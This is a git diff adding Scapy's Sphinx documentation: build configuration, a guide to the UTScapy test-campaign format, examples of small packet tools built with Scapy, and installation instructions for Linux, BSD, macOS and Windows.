options for replacing |today|: either, you set today to some +# non-false value, then it is used: +#today = '' +# Else, today_fmt is used as the format for a strftime call. +today_fmt = '%B %d, %Y' + +# List of documents that shouldn't be included in the build. +#unused_docs = [] + +# List of directories, relative to source directories, that shouldn't be searched +# for source files. +#exclude_dirs = [] + +# The reST default role (used for this markup: `text`) to use for all documents. +#default_role = None + +# If true, '()' will be appended to :func: etc. cross-reference text. +#add_function_parentheses = True + +# If true, the current module name will be prepended to all description +# unit titles (such as .. function::). +#add_module_names = True + +# If true, sectionauthor and moduleauthor directives will be shown in the +# output. They are ignored by default. +#show_authors = False + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + + +# Options for HTML output +# ----------------------- + +# The style sheet to use for HTML and HTML Help pages. A file of that name +# must exist either in Sphinx' static/ path, or in one of the custom paths +# given in html_static_path. +html_style = 'default.css' + +# The name for this set of Sphinx documents. If None, it defaults to +# "<project> v<release> documentation". +#html_title = None + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (within the static path) to place at the top of +# the sidebar. +#html_logo = None + +# The name of an image file (within the static path) to use as favicon of the +# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, +# using the given strftime format. +html_last_updated_fmt = '%b %d, %Y' + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +html_use_modindex = False + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, the reST sources are included in the HTML build as _sources/<name>. +#html_copy_source = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a <link> tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = '' + +# Output file base name for HTML help builder. +htmlhelp_basename = 'Scapydoc' + + +# Options for LaTeX output +# ------------------------ + +# The paper size ('letter' or 'a4'). +latex_paper_size = 'a4' + +# The font size ('10pt', '11pt' or '12pt'). +latex_font_size = '11pt' + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, author, document class [howto/manual]). +latex_documents = [ + ('index', 'Scapy.tex', 'Scapy Documentation', + 'Philippe Biondi and the Scapy community', 'manual'), +] + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# Additional stuff for the LaTeX preamble. +#latex_preamble = '' + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +latex_use_modindex = False diff --git a/doc/scapy/development.rst b/doc/scapy/development.rst new file mode 100644 index 0000000000000000000000000000000000000000..f2d15b914fe20836b7a2459c7a7daaf2e5115c3f --- /dev/null +++ b/doc/scapy/development.rst @@ -0,0 +1,198 @@ +***************** +Scapy development +***************** + +Project organization +==================== + +Scapy development uses the Mercurial version control system. +Scapy's reference repository is at http://hg.secdev.org/scapy/. + +Project management is done with `Trac <http://trac.secdev.org/scapy>`_. Trac works on Scapy's reference repository. +It provides a freely editable `Wiki <http://trac.secdev.org/scapy/wiki/>`_ (please contribute!) that can +reference tickets, changesets, files from the project. It also provides +a ticket management service that is used to avoid forgetting patches or bugs. + +Mercurial's distributed way of working enables Philippe to provide two repositories +where anybody can commit stuff: +the Scapy `community repository <http://hg.secdev.org/scapy-com>`_ and the Scapy `Windows port repository <http://hg.secdev.org/scapy-com>`_. + + +How to contribute +================= + +* Found a bug in Scapy? `Add a ticket <http://trac.secdev.org/scapy/newticket>`_. +* Improve this documentation. +* Program a new layer and share it on the mailing list. Or add it as an enhancement on the bugtracker. +* Contribute new `regression tests <http://trac.secdev.org/scapy/wiki/RegressionTests>`_. +* Upload packet samples for new protocols on the `packet samples page <http://trac.secdev.org/scapy/wiki/PacketsSamples>`_. + + +Testing with UTScapy +==================== + +What is UTScapy? +---------------- + +UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX. + +Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within a desired grouping. + +For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file. + +Syntax of a Test Campaign +------------------------- + +Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. + +================ ================= +Syntax Specifier Definition +================ ================= +‘%’ Give the test campaign's name. +‘+’ Announce a new test set. +‘=’ Announce a new unit test. +‘~’ Announce keywords for the current unit test. +‘*’ Denotes a comment that will be included in the report. +‘#’ Testcase annotations that are discarded by the interpreter. +================ ================= + +Table 1 - UTScapy Syntax Specifiers + +Comments placed in the test report have a context. Each comment will be associated to the last defined test container - be it a individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before definition of the set’s first unit test. + +The generic format for a test campaign is shown in the following table:: + + % Test Campaign Name + * Comment describing this campaign + + + + Test Set 1 + * comments for test set 1 + + = Unit Test 1 + ~ keywords + * Comments for unit test 1 + # Python statements follow + a = 1 + print a + a == 1 + + +Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during development of a test campaign, the user may wish to mark new tests under development with the keyword “debugâ€. Once the tests run successfully to their desired conclusion, the keyword “debug†could be removed. Keywords such as “regression†or “limited†could be used as well. + +It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed. + +The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax:: + + [root@localhost scapy]# ./UTscapy.py –h + Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] + [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] + [-l] [-d|-D] [-F] [-q[q]] + -l : generate local files + -F : expand only failed tests + -d : dump campaign + -D : dump campaign and stop + -C : don't calculate CRC and SHA + -q : quiet mode + -qq : [silent mode] + -n <testnum> : only tests whose numbers are given (eg. 1,3-7,12) + -m <module> : additional module to put in the namespace + -k <kw1>,<kw2>,... : include only tests with one of those keywords (can be used many times) + -K <kw1>,<kw2>,... : remove tests with one of those keywords (can be used many times) + +Table 3 - UTScapy command line syntax + +All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from <STDIN>. Similarly, if no output file is specified it is directed to <STDOUT>. The default output format is “ansiâ€. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy. + +========== ============== ============================================================================= +Argument Argument Value Meaning to UTScapy +========== ============== ============================================================================= +-t testfile Input test file defining test campaign (default = <STDIN>) +-o output_file File for output of test campaign results (default = <STDOUT>) +-f test ansi, HTML, LaTeX, Format out output report (default = ansi) +-l Generate report associated files locally. For HTML, generates JavaScript + and the style sheet +-F Failed test cases will be initially expanded by default in HTML output +-d Print a terse listing of the campaign before executing the campaign +-D Print a terse listing of the campaign and stop. Do not execute campaign +-C Do not calculate test signatures +-q Do not update test progress to the screen as tests are executed +-qq Silent mode +-n testnum Execute only those tests listed by number. Test numbers may be + retrieved using –d or –D. Tests may be listed as a comma + separated list and may include ranges (e.g. 1, 3-7, 12) +-m module Load module before executing tests. Useful in testing derived works of Scapy. + Note: Derived works that are intended to execute as "__main__" will not be + invoked by UTScapy as “__main__â€. +-k kw1, kw2, ... Include only tests with keyword “kw1â€. Multiple keywords may be specified. +-K kw1, kw2, ... Exclude tests with keyword “kw1â€. Multiple keywords may be specified. +========== ============== ============================================================================= + +Table 4 - UTScapy parameters + +Table 5 shows a simple test campaign with multiple test set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design. + +:: + + % Example Test Campaign + + # Comment describing this campaign + # + # To run this campaign, try: + # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F + # + + * This comment is associated with the test campaign and will appear + * in the produced output. + + + Test Set 1 + + = Unit Test 1 + ~ test_set_1 simple + a = 1 + print a + + = Unit test 2 + ~ test_set_1 simple + * this test will fail + b = 2 + a == b + + = Unit test 3 + ~ test_set_1 harder + a = 1 + b = 2 + c = "hello" + assert (a != b) + c == "hello" + + + Test Set 2 + + = Unit Test 4 + ~ test_set_2 harder + b = 2 + d = b + d is b + + = Unit Test 5 + ~ test_set_2 harder hardest + a = 2 + b = 3 + d = 4 + e = (a * b)**d + # The following statement evaluates to False but is not last; continue + e == 6 + # assert evaluates to False; stop test and fail + assert (e == 7) + e == 1296 + + = Unit Test 6 + ~ test_set_2 hardest + print e + e == 1296 + +To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it:: + +./UTscapy.py -t demo_campaign.txt -f html -o demo_campaign.html –F -l + +Examine the output generated in file ``demo_campaign.html``. diff --git a/doc/scapy/extending.rst b/doc/scapy/extending.rst new file mode 100644 index 0000000000000000000000000000000000000000..0a9ecd900259c9d4cb2f1339931522da2ff516e4 --- /dev/null +++ b/doc/scapy/extending.rst @@ -0,0 +1,98 @@ +******************** +Build your own tools +******************** + +You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file. + +If you have built some interesting tools, please contribute back to the mailing-list! + + +Using Scapy in your tools +========================= +You can easily use Scapy in your own tools. Just import what you need and do it. + +This first example take an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet:: + + #! /usr/bin/env python + + import sys + from scapy.all import sr1,IP,ICMP + + p=sr1(IP(dst=sys.argv[1])/ICMP()) + if p: + p.show() + +This is a more complex example which does an ARP ping and reports what it found with LaTeX formating:: + + #! /usr/bin/env python + # arping2tex : arpings a network and outputs a LaTeX table as a result + + import sys + if len(sys.argv) != 2: + print "Usage: arping2tex <net>\n eg: arping2tex 192.168.1.0/24" + sys.exit(1) + + from scapy.all import srp,Ether,ARP,conf + conf.verb=0 + ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]), + timeout=2) + + print r"\begin{tabular}{|l|l|}" + print r"\hline" + print r"MAC & IP\\" + print r"\hline" + for snd,rcv in ans: + print rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\") + print r"\hline" + print r"\end{tabular}" + +Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing:: + + #! /usr/bin/env python + from scapy.all import * + + def arp_monitor_callback(pkt): + if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at + return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") + + sniff(prn=arp_monitor_callback, filter="arp", store=0) + +For a real life example, you can check `Wifitap <http://sid.rstack.org/index.php/Wifitap_EN>`_. + + +Extending Scapy with add-ons +============================ + +If you need to add some new protocols, new functions, anything, you can write it directly into Scapy source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file. + +Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact():: + + #! /usr/bin/env python + + # Set log level to benefit from Scapy warnings + import logging + logging.getLogger("scapy").setLevel(1) + + from scapy.all import * + + class Test(Packet): + name = "Test packet" + fields_desc = [ ShortField("test1", 1), + ShortField("test2", 2) ] + + def make_test(x,y): + return Ether()/IP()/Test(test1=x,test2=y) + + if __name__ == "__main__": + interact(mydict=globals(), mybanner="Test add-on v3.14") + + +If you put the above listing in the test_interact.py file and make it executable, you'll get:: + + # ./test_interact.py + Welcome to Scapy (0.9.17.109beta) + Test add-on v3.14 + >>> make_test(42,666) + <Ether type=0x800 |<IP |<Test test1=42 test2=666 |>>> + + diff --git a/doc/scapy/graphics/command-ls.png b/doc/scapy/graphics/command-ls.png new file mode 100644 index 0000000000000000000000000000000000000000..3888117df969a2133dd6b17fdbda2f592a42e257 Binary files /dev/null and b/doc/scapy/graphics/command-ls.png differ diff --git a/doc/scapy/graphics/default-values-ip.pdf b/doc/scapy/graphics/default-values-ip.pdf new file mode 100644 index 0000000000000000000000000000000000000000..7b179ae3845a7d237827b465e0b044a507386fb4 Binary files /dev/null and b/doc/scapy/graphics/default-values-ip.pdf differ diff --git a/doc/scapy/graphics/default-values-ip.png b/doc/scapy/graphics/default-values-ip.png new file mode 100644 index 0000000000000000000000000000000000000000..098c57e460cd291aee03fd3397bfdcff9add877d Binary files /dev/null and b/doc/scapy/graphics/default-values-ip.png differ diff --git a/doc/scapy/graphics/fieldsmanagement.pdf b/doc/scapy/graphics/fieldsmanagement.pdf new file mode 100644 index 0000000000000000000000000000000000000000..1bc0245649ea07461996297587e935fb07b37e5b Binary files /dev/null and b/doc/scapy/graphics/fieldsmanagement.pdf differ diff --git a/doc/scapy/graphics/fieldsmanagement.png b/doc/scapy/graphics/fieldsmanagement.png new file mode 100644 index 0000000000000000000000000000000000000000..5fb7bc9d238763b774d0710b026a667d705ddff4 Binary files /dev/null and b/doc/scapy/graphics/fieldsmanagement.png differ diff --git a/doc/scapy/graphics/graph_traceroute.png b/doc/scapy/graphics/graph_traceroute.png new file mode 100644 index 0000000000000000000000000000000000000000..2ad33296e3f3893982abfcebcec6f827be8b3d95 Binary files /dev/null and b/doc/scapy/graphics/graph_traceroute.png differ diff --git a/doc/scapy/graphics/ipid.png b/doc/scapy/graphics/ipid.png new file mode 100644 index 0000000000000000000000000000000000000000..e7100478b9a90d57f71274a23d138165dd276d12 Binary files /dev/null and b/doc/scapy/graphics/ipid.png differ diff --git a/doc/scapy/graphics/isakmp_dump.png b/doc/scapy/graphics/isakmp_dump.png new file mode 100644 index 0000000000000000000000000000000000000000..790bb9d5f751a2803e81cda6172ab286e7066eeb Binary files /dev/null and b/doc/scapy/graphics/isakmp_dump.png differ diff --git a/doc/scapy/graphics/scapy-concept.pdf b/doc/scapy/graphics/scapy-concept.pdf new file mode 100644 index 0000000000000000000000000000000000000000..9425f34572d53febc17c1603a2eb456618ab07c5 Binary files /dev/null and b/doc/scapy/graphics/scapy-concept.pdf differ diff --git a/doc/scapy/graphics/scapy-concept.png b/doc/scapy/graphics/scapy-concept.png new file mode 100644 index 0000000000000000000000000000000000000000..8c6b667611f6d006bf9e59c05e6000509e932acd Binary files /dev/null and b/doc/scapy/graphics/scapy-concept.png differ diff --git a/doc/scapy/graphics/scapy-win-screenshot1.png b/doc/scapy/graphics/scapy-win-screenshot1.png new file mode 100644 index 0000000000000000000000000000000000000000..21ca2860ed77ac135ea6375923f0d74dd93ca0af Binary files /dev/null and b/doc/scapy/graphics/scapy-win-screenshot1.png differ diff --git a/doc/scapy/graphics/scapy-win-screenshot2.png b/doc/scapy/graphics/scapy-win-screenshot2.png new file mode 100644 index 0000000000000000000000000000000000000000..e5989acfdcc38678cf18cb5bb795854688b1915c Binary files /dev/null and b/doc/scapy/graphics/scapy-win-screenshot2.png differ diff --git a/doc/scapy/graphics/testing-taxonomy.png b/doc/scapy/graphics/testing-taxonomy.png new file mode 100644 index 0000000000000000000000000000000000000000..dd30417798e255107dfc17c8f5eb630b4ad04292 Binary files /dev/null and b/doc/scapy/graphics/testing-taxonomy.png differ diff --git a/doc/scapy/graphics/trace3d_1.png b/doc/scapy/graphics/trace3d_1.png new file mode 100644 index 0000000000000000000000000000000000000000..60750f0e92fabb46a3fac128e338fa15feabf3ad Binary files /dev/null and b/doc/scapy/graphics/trace3d_1.png differ diff --git a/doc/scapy/graphics/trace3d_2.png b/doc/scapy/graphics/trace3d_2.png new file mode 100644 index 0000000000000000000000000000000000000000..f2a4c4dd76417ef3c0626c034626f5ef57c3ec80 Binary files /dev/null and b/doc/scapy/graphics/trace3d_2.png differ diff --git a/doc/scapy/index.rst b/doc/scapy/index.rst new file mode 100644 index 0000000000000000000000000000000000000000..ef319da4030623e9cff8b65fbd21ab2456f100bc --- /dev/null +++ b/doc/scapy/index.rst @@ -0,0 +1,27 @@ +.. Scapy documentation master file, created by sphinx-quickstart on Mon Sep 8 19:37:39 2008. + You can adapt this file completely to your liking, but it should at least + contain the root `toctree` directive. + +Welcome to Scapy's documentation! +================================= + +:Release: |version| +:Date: |today| + +This document is under a `Creative Commons Attribution - Non-Commercial +- Share Alike 2.5 <http://creativecommons.org/licenses/by-nc-sa/2.5/>`_ license. + +.. toctree:: + :maxdepth: 2 + + introduction + installation + + usage + extending + troubleshooting + + build_dissect + development + backmatter + diff --git a/doc/scapy/installation.rst b/doc/scapy/installation.rst new file mode 100644 index 0000000000000000000000000000000000000000..eca90591020470d31503fe4447b281f245e56cfd --- /dev/null +++ b/doc/scapy/installation.rst @@ -0,0 +1,428 @@ +.. highlight:: sh + +************************* +Download and Installation +************************* + +Overview +======== + + 0. Install *Python 2.5*. + 1. Download and install *Scapy*. + 2. (For non-Linux platforms): Install *libpcap and libdnet* and their Python wrappers. + 3. (Optional): Install *additional software* for special features. + 4. Run Scapy with root priviledges. + +Each of these steps can be done in a different way dependent on your platform and on the version of Scapy you want to use. + +At the moment, there are two different versions of Scapy: + +* **Scapy v1.x**. It consists of only one file and works on Python 2.4, so it might be easier to install. + Moreover, your OS may already have a specially prepared packages or ports for it. Last version is v1.2.2. +* **Scapy v2.x**. The current development version adds several features (e.g. IPv6). It consists of several + files packaged in the standard distutils way. Scapy v2 needs Python 2.5. + +.. note:: + + In Scapy v2 use ``from scapy.all import *`` instead of ``from scapy import *``. + + +Installing Scapy v2.x +===================== + +The following steps describe how to install (or update) Scapy itself. +Dependent on your platform, some additional libraries might have to be installed to make it actually work. +So please also have a look at the platform specific chapters on how to install those requirements. + +.. note:: + + The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). + For Windows, see the special chapter below. + +Make sure you have Python installed before you go on. + +Latest release +-------------- + +Download the `latest version <http://scapy.net>`_ to a temporary directory and install it in the standard `distutils <http://docs.python.org/inst/inst.html>`_ way:: + +$ cd /tmp +$ wget scapy.net +$ unzip scapy-latest.zip +$ cd scapy-2.* +$ sudo python setup.py install + +Alternatively, you can make the zip file executable, move it to a directory in your PATH and run it directly:: + +$ chmod +x scapy-latest.zip +$ mv scapy-latest.zip /usr/local/bin/scapy +$ sudo scapy + +Current development version +---------------------------- + +.. index:: + single: Mercurial, repository + +If you always want the latest version with all new features and bugfixes, use Scapy's Mercurial repository: + +1. Install the `Mercurial <http://www.selenic.com/mercurial/>`_ version control system. For example, on Debian/Ubuntu use:: + + $ sudo apt-get install mercurial + + or on OpenBSD:: + + $ pkg_add mercurial + +2. Check out a clone of Scapy's repository:: + + $ hg clone http://hg.secdev.org/scapy + +3. Install Scapy in the standard distutils way:: + + $ cd scapy + $ sudo python setup.py install + +Then you can always update to the latest version:: + +$ hg pull +$ hg update +$ sudo python setup.py install + +For more information about Mercurial, have a look at the `Mercurial book <http://hgbook.red-bean.com/>`_. + + +Installing Scapy v1.2 +===================== + +As Scapy v1 consists only of one single Python file, installation is easy: +Just download the last version and run it with your Python interpreter:: + + $ wget http://hg.secdev.org/scapy/raw-file/v1.2.0.2/scapy.py + $ sudo python scapy.py + +.. index:: + single: scapy-bpf + +On BSD systems, you can also try the latest version of `Scapy-bpf <http://hg.natisbad.org/scapy-bpf/raw-file/tip/scapy.py>`_ (`development repository <http://hg.natisbad.org/scapy-bpf/>`_). It doesn't need libpcap or libdnet. + + +Optional software for special features +====================================== + +For some special features you have to install more software. +Platform-specific instructions on how to install those packages can be found in the next chapter. +Here are the topics involved and some examples that you can use to try if your installation was successful. + +.. index:: + single: plot() + +* Plotting. ``plot()`` needs `Gnuplot-py <http://gnuplot-py.sourceforge.net/>`_ which needs `GnuPlot <http://www.gnuplot.info/>`_ and `NumPy <http://numpy.scipy.org/>`_. + + .. code-block:: python + + >>> p=sniff(count=50) + >>> p.plot(lambda x:len(x)) + +* 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX <http://pyx.sourceforge.net/>`_ which in turn needs a `LaTeX distribution <http://www.tug.org/texlive/>`_. For viewing the PDF and PS files interactively, you also need `Adobe Reader <http://www.adobe.com/products/reader/>`_ (``acroread``) and `gv <http://wwwthep.physik.uni-mainz.de/~plass/gv/>`_ (``gv``). + + .. code-block:: python + + >>> p=IP()/ICMP() + >>> p.pdfdump("test.pdf") + +* Graphs. ``conversations()`` needs `Grapviz <http://www.graphviz.org/>`_ and `ImageMagick <http://www.imagemagick.org/>`_. + + .. code-block:: python + + >>> p=readpcap("myfile.pcap") + >>> p.conversations(type="jpg", target="> test.jpg") + +* 3D graphics. ``trace3D()`` needs `VPython <http://www.vpython.org/>`_. + + .. code-block:: python + + >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"]) + >>> a.trace3D() + +.. index:: + single: WEP, unwep() + +* WEP decryption. ``unwep()`` needs `PyCrypto <http://www.dlitz.net/software/pycrypto/>`_. Example using a `Weplap test file <http://weplab.sourceforge.net/caps/weplab-64bit-AA-managed.pcap>`_: + + .. code-block:: python + + >>> enc=rdpcap("weplab-64bit-AA-managed.pcap") + >>> enc.show() + >>> enc[0] + >>> conf.wepkey="AA\x00\x00\x00" + >>> dec=Dot11PacketList(enc).toEthernet() + >>> dec.show() + >>> dec[0] + +* Fingerprinting. ``nmap_fp()`` needs `Nmap <http://nmap.org>`_. You need an `old version <http://nmap.org/dist-old/>`_ (before v4.23) that still supports first generation fingerprinting. + + .. code-block:: python + + >>> nmap_fp("192.168.0.1") + Begin emission: + Finished to send 8 packets. + Received 19 packets, got 4 answers, remaining 4 packets + (0.88749999999999996, ['Draytek Vigor 2000 ISDN router']) + +.. index:: + single: VOIP + +* VOIP. ``voip_play()`` needs `SoX <http://sox.sourceforge.net/>`_. + + +Platform-specific instructions +============================== + +Linux native +------------ + +Scapy can run natively on Linux, without libdnet and libpcap. + +* Install `Python 2.5 <http://www.python.org>`_. +* Install `tcpdump <http://www.tcpdump.org>`_ and make sure it is in the $PATH. (It's only used to compile BPF filters (``-ddd option``)) +* Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``) +* If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) + +Debian/Ubuntu +------------- + +Just use the standard packages:: + +$ sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-crypto python-pyx + +Fedora +------ + +Here's how to install Scapy on Fedora 9:: + + # yum install mercurial python-devel + # cd /tmp + # hg clone http://hg.secdev.org/scapy + # cd scapy + # python setup.py install + +Some optional packages:: + + # yum install graphviz python-crypto sox PyX gnuplot numpy + # cd /tmp + # wget http://heanet.dl.sourceforge.net/sourceforge/gnuplot-py/gnuplot-py-1.8.tar.gz + # tar xvfz gnuplot-py-1.8.tar.gz + # cd gnuplot-py-1.8 + # python setup.py install + + +Mac OS X +-------- + +Here's how to install Scapy on Mac OS 10.4 (Tiger) or 10.5 (Leopard). + +Set up a development environment +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +1. Install X11. + On the Mac OS X DVD, it is located in the "Optional Installs.mpkg" package. + +2. Install SDK. + On the Mac OS X DVD, it is located in the "Xcode Tools/Packages" directory. + +3. Install Python 2.5 from Python.org. + Using Apple's Python version will lead to some problems. + Get it from http://www.python.org/ftp/python/2.5.2/python-2.5.2-macosx.dmg + +Install using MacPorts +^^^^^^^^^^^^^^^^^^^^^^ + +3. Install MacPorts + Download the dmg from macports.org and install it. + +4. Update MacPorts:: + + $ sudo port -d selfupdate + +5. Install Scapy:: + + $ sudo port install scapy + +You can then update to the latest version as shown in the generic installation above. + +Install from original sources +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Install libdnet and its Python wrapper:: + + $ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz + $ tar xfz libdnet-1.12.tgz + $ ./configure + $ make + $ sudo make install + $ cd python + $ python2.5 setup.py install + +Install libpcap and its Python wrapper:: + + $ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.2.tar.gz + $ tar xfz pylibpcap-0.6.2.tar.gz + $ cd pylibpcap-0.6.2 + $ python2.5 setup.py install + +Optionally: Install readline:: + + $ python `python -c "import pimp; print pimp.__file__"` -i readline + +OpenBSD +------- + +Here's how to install Scapy on OpenBSD 4.3. + +.. code-block:: text + + # export PKG_PATH=ftp://ftp.openbsd.org/pub/OpenBSD/4.3/packages/i386/ + # pkg_add py-libpcap py-libdnet mercurial + # ln -sf /usr/local/bin/python2.5 /usr/local/bin/python + # cd /tmp + # hg clone http://hg.secdev.org/scapy + # cd scapy + # python setup.py install + + +Optional packages +^^^^^^^^^^^^^^^^^ + +py-crypto + +.. code-block:: text + + # pkg_add py-crypto + +gnuplot and its Python binding: + +.. code-block:: text + + # pkg_add gnuplot py-gnuplot + +Graphviz (large download, will install several GNOME libraries) + +.. code-block:: text + + # pkg_add graphviz + + +ImageMagick (takes long to compile) + +.. code-block:: text + + # cd /tmp + # ftp ftp://ftp.openbsd.org/pub/OpenBSD/4.3/ports.tar.gz + # cd /usr + # tar xvfz /tmp/ports.tar.gz + # cd /usr/ports/graphics/ImageMagick/ + # make install + +PyX (very large download, will install texlive etc.) + +.. code-block:: text + + # pkg_add py-pyx + +/etc/ethertypes + +.. code-block:: text + + # wget http://www.secdev.org/projects/scapy/files/ethertypes -O /etc/ethertypes + +python-bz2 (for UTscapy) + +.. code-block:: text + + # pkg_add python-bz2 + +.. _windows_installation: + +Windows +------- + +.. sectionauthor:: Dirk Loss <mail at dirk-loss.de> + +Scapy is primarily being developed for Unix-like systems and works best on those platforms. But a special port (Scapy-win) exists that allows you to use nearly all of Scapy's features on your Windows machine as well. + +.. note:: + + At the moment, only Scapy v1.2.x works on Windows. Scapy v2 might be ported in the future. + +.. image:: graphics/scapy-win-screenshot1.png + :scale: 80 + :align: center + +You need the following software packages in order to install Scapy on Windows: + + * `Python <http://www.python.org>`_: `python-2.5.2.msi <http://www.python.org/ftp/python/2.5.2/python-2.5.2.msi>`_. I'm using Python 2.5. Scapy-win will work with Python 2.4 as well, but you will need all third-party extensions on this page compiled for v2.4. + * `Scapy-win <http://hg.secdev.org/scapy-win>`_: `latest version from the Mercurial repository <http://hg.secdev.org/scapy-win/raw-file/tip/scapy.py>`_. Right click and save to ``C:\Python25\Lib\site-packages\scapy.py``, or adjust to match your Python install directory. + * `pywin32 <http://python.net/crew/mhammond/win32/Downloads.html>`_: `pywin32-210.win32-py2.5.exe <http://surfnet.dl.sourceforge.net/sourceforge/pywin32/pywin32-210.win32-py2.5.exe>`_ + * `WinPcap <http://www.winpcap.org/>`_: `WinPcap_4_0_2.exe <http://www.winpcap.org/install/bin/WinPcap_4_0_2.exe>`_. Or if you want to use the ethernet vendor database to resolve MAC addresses, download `Wireshark <http://www.wireshark.org/>`_ which already includes WinPcap. + * `pypcap <http://code.google.com/p/pypcap/>`_: `pcap-1.1-scapy.win32-py2.5.exe <http://www.secdev.org/projects/scapy/files/pcap-1.1-scapy.win32-py2.5.exe>`_. This is a *special version for Scapy*, as the original leads to some timing problems. For background info look on the `Wiki <http://trac.secdev.org/scapy/wiki/PypcapScapyWin>`_ + * `libdnet <http://code.google.com/p/libdnet/>`_: `dnet-1.12.win32-py2.5.exe <http://libdnet.googlecode.com/files/dnet-1.12.win32-py2.5.exe>`_ + * `pyreadline <http://ipython.scipy.org/moin/PyReadline/Intro>`_: `pyreadline-1.5-win32-setup.exe <http://ipython.scipy.org/dist/pyreadline-1.5-win32-setup.exe>`_ + +Just download the files and run the setup program. Choosing the default installation options should be safe. + +For your convenience direct links are given to the versions I used (for Python 2.5). If these links do not work or if you are using a different Python version, just visit the homepage of the respective package and look for a Windows binary. As a last resort, search the web for the filename. + +After all packages are installed, open a command prompt (cmd.exe), change to the directory containing scapy.py and run Scapy with ``python scapy.py`` (or just ``scapy.py``). For usage information see the interactive demo and the other documents on Scapy's homepage. + +If really nothing seems to work, consider skipping the Windows version and using Scapy from a Linux Live CD -- either in a virtual machine on your Windows host or by booting from CDROM: Scapy is already included in grml and BackTrack for example. While using the Live CD you can easily upgrade to the lastest Scapy version (for Unix) by typing ``cd /tmp && wget scapy.net``. + +Optional packages +^^^^^^^^^^^^^^^^^ + +Plotting 